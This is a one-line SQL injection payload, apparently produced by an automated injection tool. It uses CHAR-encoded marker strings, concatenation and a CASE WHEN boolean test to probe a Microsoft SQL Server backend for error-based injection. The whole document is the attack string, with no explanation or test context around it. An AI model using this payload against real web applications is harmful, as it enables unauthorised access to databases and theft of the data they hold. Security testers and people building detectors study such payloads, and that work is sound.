1||(SELECT CHAR(121)+CHAR(90)+CHAR(108)+CHAR(115) WHERE 7547=7547 AND 4540=CONCAT(CHAR(113)+CHAR(112)+CHAR(122)+CHAR(106)+CHAR(113),(SELECT (CASE WHEN (4540=4540) THEN CHAR(49) ELSE CHAR(48) END)),CHAR(113)+CHAR(113)+CHAR(120)+CHAR(112)+CHAR(113)))||